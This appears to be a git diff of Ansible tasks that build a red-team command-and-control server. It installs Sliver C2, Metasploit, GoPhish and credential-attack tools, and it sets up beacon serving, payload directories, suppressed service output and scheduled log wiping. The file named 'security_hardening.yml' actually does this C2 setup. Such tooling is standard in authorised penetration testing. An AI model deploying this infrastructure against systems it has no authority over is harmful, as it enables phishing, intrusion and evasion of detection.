/home/{{ ansible_user }}/Tools/Kerbrute/kerbrute + chmod +x /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute + become: true + args: + executable: /bin/bash + creates: /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute + +- name: Clone SharpCollection nightly builds + git: + repo: https://github.com/Flangvik/SharpCollection.git + dest: /home/{{ ansible_user }}/Tools/SharpCollection + version: master + ignore_errors: yes + +- name: Clone PEASS-ng + git: + repo: https://github.com/carlospolop/PEASS-ng.git + dest: /home/{{ ansible_user }}/Tools/PEASS-ng + ignore_errors: yes + +- name: Clone MailSniper + git: + repo: https://github.com/dafthack/MailSniper.git + dest: /home/{{ ansible_user }}/Tools/MailSniper + ignore_errors: yes + +- name: Clone Inveigh + git: + repo: https://github.com/Kevin-Robertson/Inveigh.git + dest: /home/{{ ansible_user }}/Tools/Inveigh + ignore_errors: yes + +- name: Install Sliver C2 server + shell: | + curl https://sliver.sh/install | bash + systemctl enable sliver + systemctl start sliver + become: true + +- name: Install Metasploit Framework (Nightly Build) + shell: | + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall + chmod 755 /tmp/msfinstall + /tmp/msfinstall + rm -f /tmp/msfinstall + become: true + args: + executable: /bin/bash + creates: /usr/bin/msfconsole + +- name: Grab GoPhish + shell: | + curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/{{ ansible_user }}/Tools/gophish.zip + unzip /home/{{ ansible_user }}/Tools/gophish.zip -d /home/{{ ansible_user }}/Tools/gophish + rm -rf /home/{{ ansible_user }}/Tools/gophish.zip + chmod +x /home/{{ ansible_user }}/Tools/gophish/gophish + args: + creates: /home/{{ ansible_user }}/Tools/gophish/gophish + +- name: Deploy Gophish config.json with custom admin port + template: + src: gophish-config.j2 + dest: /home/{{ ansible_user }}/Tools/gophish/config.json + owner: "{{ ansible_user }}" + group: "{{ ansible_user }}" + mode: '0644' + vars: + gophish_admin_port: "{{ gophish_admin_port }}" + domain: "{{ domain }}" + +- name: Set proper ownership for Tools directory + file: + path: /home/{{ ansible_user }}/Tools + owner: "{{ ansible_user }}" + group: "{{ ansible_user }}" + recurse: true + mode: '0755' \ No newline at end of file diff --git a/tasks/security_hardening.yml b/tasks/security_hardening.yml new file mode 100644 index 0000000..fb55c40 --- /dev/null +++ b/tasks/security_hardening.yml @@ -0,0 +1,136 @@ +--- +# Common task for configuring C2 server +# Shared across all providers + +- name: Update apt cache + apt: + update_cache: yes + +- name: Set a custom MOTD + template: + src: "motd.j2" + dest: /etc/motd + owner: root + group: root + mode: '0644' + +- name: Install base utilities and tools via apt + apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-venv + - tmux + - pipx + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + - jq + - unzip + - postfix + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + state: present + +- name: Copy operational scripts + copy: + src: "{{ item }}" + dest: "/opt/c2/{{ item }}" + mode: '0700' + owner: root + group: root + with_items: + - clean-logs.sh + - secure-exit.sh + - serve-beacons.sh + +- name: Create operational directories + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/beacons + - /opt/payloads + +- name: Create Sliver service file + copy: + content: | + [Unit] + Description=Sliver C2 Server + After=network.target + + [Service] + Type=simple + User=root + Group=root + WorkingDirectory=/root/.sliver + ExecStart=/usr/local/bin/sliver-server daemon + Restart=always + RestartSec=10 + + # Security measures + PrivateTmp=true + ProtectHome=false + NoNewPrivileges=true + + # Hide process information + StandardOutput=null + StandardError=null + + [Install] + WantedBy=multi-user.target + dest: /etc/systemd/system/sliver.service + mode: '0644' + owner: root + group: root + +- name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs | bool + +- name: Install Let's Encrypt certificate if domain specified + shell: | + certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + +- name: Configure and start beacon server + shell: | + sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh + chmod +x /opt/c2/serve-beacons.sh + # Check if beacon server is already running + if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then + nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & + fi \ No newline at end of file